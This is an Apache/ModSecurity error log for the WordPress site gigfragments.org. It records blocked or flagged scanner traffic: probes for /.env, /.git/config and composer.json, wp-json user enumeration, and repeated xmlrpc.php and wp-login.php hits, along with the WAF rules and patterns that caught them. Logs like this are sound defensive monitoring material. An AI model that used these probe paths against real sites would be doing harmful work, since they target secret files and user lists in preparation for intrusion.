[Thu Dec 04 00:37:32.577693 2025] [:error] [pid 63344:tid 63369] [client 66.175.44.40:45772] [client 66.175.44.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBnTLFn6Z8FbZz0IjlAhgAAABQ"]
[Thu Dec 04 01:17:54.588016 2025] [:error] [pid 3841:tid 3887] [client 159.89.47.58:56826] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTBwwhqrnhYwq_3H8CQKzAAAAUs"]
[Thu Dec 04 01:17:57.255398 2025] [:error] [pid 3840:tid 3865] [client 159.89.47.58:46598] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTBwxZF_IDAg4wPRjg63GQAAAFE"]
[Thu Dec 04 02:26:55.906879 2025] [:error] [pid 3841:tid 3899] [client 196.247.46.41:46591] [client 196.247.46.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.247.46.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCA7xqrnhYwq_3H8CQf9QAAAVc"]
[Thu Dec 04 02:26:58.985361 2025] [:error] [pid 63344:tid 63368] [client 196.247.46.41:54530] [client 196.247.46.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.247.46.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCA8rFn6Z8FbZz0Ijl1jwAAABM"]
[Thu Dec 04 02:27:01.721080 2025] [:error] [pid 63344:tid 63370] [client 196.247.46.41:35819] [client 196.247.46.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.247.46.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCA9bFn6Z8FbZz0Ijl1kQAAABU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 02:34:53.306153 2025] [:error] [pid 3842:tid 3911] [client 35.231.243.82:60964] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCCzSaILLkuuVMSmjsgMQAAAYg"]
[Thu Dec 04 02:34:56.858458 2025] [:error] [pid 3842:tid 3923] [client 35.231.243.82:60964] [client 35.231.243.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTCC0CaILLkuuVMSmjsgNAAAAZQ"]
[Thu Dec 04 02:34:58.984816 2025] [:error] [pid 3842:tid 3919] [client 35.231.243.82:60964] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC0iaILLkuuVMSmjsgNgAAAZA"]
[Thu Dec 04 02:35:01.044905 2025] [:error] [pid 3841:tid 3885] [client 35.231.243.82:61178] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC1RqrnhYwq_3H8CQihQAAAUk"]
[Thu Dec 04 02:35:03.261500 2025] [:error] [pid 3842:tid 3924] [client 35.231.243.82:58672] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC1yaILLkuuVMSmjsgRAAAAZU"]
[Thu Dec 04 02:35:05.429785 2025] [:error] [pid 3840:tid 3848] [client 35.231.243.82:52430] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC2ZF_IDAg4wPRjg7MLgAAAEA"]
[Thu Dec 04 02:35:07.564248 2025] [:error] [pid 3842:tid 3919] [client 35.231.243.82:64937] [client 35.231.243.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.243.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC2yaILLkuuVMSmjsgTQAAAZA"]
[Thu Dec 04 02:35:07.564386 2025] [:error] [pid 3842:tid 3919] [client 35.231.243.82:64937] [client 35.231.243.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.231.243.82, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCC2yaILLkuuVMSmjsgTQAAAZA"]
[Thu Dec 04 02:46:00.130916 2025] [:error] [pid 3841:tid 3888] [client 34.85.220.129:64717] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFaBqrnhYwq_3H8CQlwQAAAUw"]
[Thu Dec 04 02:46:04.003250 2025] [:error] [pid 3841:tid 3900] [client 34.85.220.129:64717] [client 34.85.220.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTCFbBqrnhYwq_3H8CQlxwAAAVg"]
[Thu Dec 04 02:46:05.528278 2025] [:error] [pid 3841:tid 3887] [client 34.85.220.129:64717] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFbRqrnhYwq_3H8CQlzgAAAUs"]
[Thu Dec 04 02:46:07.570255 2025] [:error] [pid 3938:tid 3941] [client 34.85.220.129:56433] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFbyAHKAmSjlzEts4nMwAAAgE"]
[Thu Dec 04 02:46:09.615172 2025] [:error] [pid 3938:tid 3964] [client 34.85.220.129:51154] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFcSAHKAmSjlzEts4nNQAAAhg"]
[Thu Dec 04 02:46:11.549595 2025] [:error] [pid 3841:tid 3900] [client 34.85.220.129:56621] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFcxqrnhYwq_3H8CQl1gAAAVg"]
[Thu Dec 04 02:46:13.566335 2025] [:error] [pid 63344:tid 63352] [client 34.85.220.129:59292] [client 34.85.220.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.220.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFdbFn6Z8FbZz0Ijl-iwAAAAM"]
[Thu Dec 04 02:46:13.566468 2025] [:error] [pid 63344:tid 63352] [client 34.85.220.129:59292] [client 34.85.220.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.220.129, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTCFdbFn6Z8FbZz0Ijl-iwAAAAM"]
[Thu Dec 04 04:40:03.643708 2025] [:error] [pid 2161:tid 2239] [client 15.161.172.75:35714] [client 15.161.172.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.161.172.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCgIyjiGdnP9Am2woVKtgAAAJY"]
[Thu Dec 04 04:40:08.832711 2025] [:error] [pid 2161:tid 2218] [client 15.161.172.75:35714] [client 15.161.172.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.161.172.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCgKCjiGdnP9Am2woVKugAAAIE"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 04:49:51.084059 2025] [:error] [pid 38403:tid 38423] [client 195.178.110.223:53478] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTCibwBCL4g8TXcskwnJNQAAAQ8"]
[Thu Dec 04 05:17:50.636922 2025] [:error] [pid 2244:tid 2262] [client 195.178.110.223:37604] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aTCo_pm00CCLpKa0F70ZnAAAANA"]
[Thu Dec 04 05:30:28.696570 2025] [:error] [pid 2160:tid 2199] [client 192.185.12.22:24192] [client 192.185.12.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.12.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTCr9ENDGjl4u2feUD_DqAAAAEk"]
[Thu Dec 04 09:51:23.785069 2025] [:error] [pid 38403:tid 38431] [client 23.94.162.182:47023] [client 23.94.162.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTDpGwBCL4g8TXcskwlf_QAAARc"]
[Thu Dec 04 09:51:26.960474 2025] [:error] [pid 63290:tid 63301] [client 23.94.162.182:35686] [client 23.94.162.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTDpHioM7G4ZFQQHTRy-SgAAAUk"]
[Thu Dec 04 09:51:29.394340 2025] [:error] [pid 63382:tid 63491] [client 23.94.162.182:51674] [client 23.94.162.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTDpIUvJv09BlzBS6SRyxQAAApY"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 10:22:22.527842 2025] [proxy_fcgi:error] [pid 2244:tid 2261] (70007)The timeout specified has expired: [client 51.81.107.180:47104] AH01075: Error dispatching request to : (polling)
[Thu Dec 04 11:04:45.437085 2025] [:error] [pid 63321:tid 63336] [client 51.68.186.52:63571] [client 51.68.186.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aTD6TbNTbeTF3WLMl8xo2AAAAYw"]
[Thu Dec 04 11:59:52.643962 2025] [:error] [pid 38403:tid 38428] [client 143.110.180.207:54209] [client 143.110.180.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aTEHOABCL4g8TXcskwmgUAAAARQ"], referer: binance.com
[Thu Dec 04 12:38:56.772161 2025] [:error] [pid 63383:tid 63440] [client 216.73.216.30:9123] [client 216.73.216.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTEQYFJYyG_QEWdAPIURagAAAtc"]
[Thu Dec 04 12:42:45.394026 2025] [:error] [pid 2244:tid 2253] [client 65.181.111.149:36632] [client 65.181.111.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.111.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTERRZm00CCLpKa0F72RxQAAAMc"]
[Thu Dec 04 12:42:48.107307 2025] [:error] [pid 2244:tid 2246] [client 65.181.111.149:36632] [client 65.181.111.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.181.111.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTERSJm00CCLpKa0F72RywAAAMA"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 15:33:39.143113 2025] [:error] [pid 63321:tid 63328] [client 84.239.47.148:43418] [client 84.239.47.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTE5U7NTbeTF3WLMl8yghgAAAYQ"]
[Thu Dec 04 15:34:17.795427 2025] [:error] [pid 38403:tid 38414] [client 84.239.47.148:55000] [client 84.239.47.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTE5eQBCL4g8TXcskwncNgAAAQY"]
[Thu Dec 04 21:20:49.366264 2025] [:error] [pid 63290:tid 63311] [client 43.241.36.102:43290] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTGKsSoM7G4ZFQQHTRxAmQAAAVM"]
[Thu Dec 04 21:20:52.832364 2025] [:error] [pid 63321:tid 63346] [client 43.241.36.102:45888] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTGKtLNTbeTF3WLMl8ziOwAAAZY"]
[Thu Dec 04 21:20:54.022276 2025] [:error] [pid 63322:tid 63353] [client 43.241.36.102:45896] [client 43.241.36.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTGKtovm-cfAnelmlGcJIgAAAcI"]
[Thu Dec 04 21:29:28.816280 2025] [:error] [pid 63382:tid 63473] [client 34.173.241.117:37566] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTGMuEvJv09BlzBS6STuAQAAAoQ"]
[Thu Dec 04 21:29:30.278166 2025] [:error] [pid 63290:tid 63308] [client 34.173.241.117:55556] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/favicon.ico"] [unique_id "aTGMuioM7G4ZFQQHTRxB2wAAAVA"]
[Thu Dec 04 21:29:36.615633 2025] [:error] [pid 63322:tid 63368] [client 34.173.241.117:55562] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTGMwIvm-cfAnelmlGcKQwAAAdE"]
[Thu Dec 04 21:29:37.740966 2025] [:error] [pid 63382:tid 63477] [client 34.173.241.117:55578] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/favicon.ico"] [unique_id "aTGMwUvJv09BlzBS6STuBwAAAog"]
[Thu Dec 04 21:33:12.609969 2025] [:error] [pid 63383:tid 63421] [client 85.194.44.225:57328] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGNmFJYyG_QEWdAPIW3PAAAAsQ"]
[Thu Dec 04 21:33:16.746972 2025] [:error] [pid 63379:tid 63409] [client 85.194.44.225:34930] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGNnMvuHYNZ2IuzoJftWQAAAhY"], referer: http://gigfragments.org/wp-login.php
[Thu Dec 04 21:33:19.299535 2025] [:error] [pid 63290:tid 63292] [client 85.194.44.225:53498] [client 85.194.44.225] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTGNnyoM7G4ZFQQHTRxCZwAAAUA"], referer: http://gigfragments.org/wp-login.php
[Thu Dec 04 21:33:22.131972 2025] [:error] [pid 63322:tid 63373] [client 85.194.44.225:53502] [client 85.194.44.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.194.44.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGNoovm-cfAnelmlGcKzwAAAdY"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Thu Dec 04 22:08:32.990477 2025] [:error] [pid 63383:tid 63434] [client 23.94.162.174:60988] [client 23.94.162.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGV4FJYyG_QEWdAPIXBdQAAAtE"]
[Thu Dec 04 22:08:36.139392 2025] [:error] [pid 2161:tid 2241] [client 23.94.162.174:38919] [client 23.94.162.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGV5CjiGdnP9Am2woVMAwAAAJg"]
[Thu Dec 04 22:08:38.571113 2025] [:error] [pid 63290:tid 63308] [client 23.94.162.174:47571] [client 23.94.162.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.94.162.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTGV5ioM7G4ZFQQHTRxIvgAAAVA"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 22:47:13.266686 2025] [:error] [pid 63382:tid 63481] [client 35.185.92.24:56817] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGe8UvJv09BlzBS6ST7SwAAAow"]
[Thu Dec 04 22:47:18.296971 2025] [:error] [pid 63382:tid 63472] [client 35.185.92.24:56817] [client 35.185.92.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTGe9kvJv09BlzBS6ST7UAAAAoM"]
[Thu Dec 04 22:47:19.963584 2025] [:error] [pid 63382:tid 63493] [client 35.185.92.24:56817] [client 35.185.92.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.92.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTGe90vJv09BlzBS6ST7UwAAApg"]
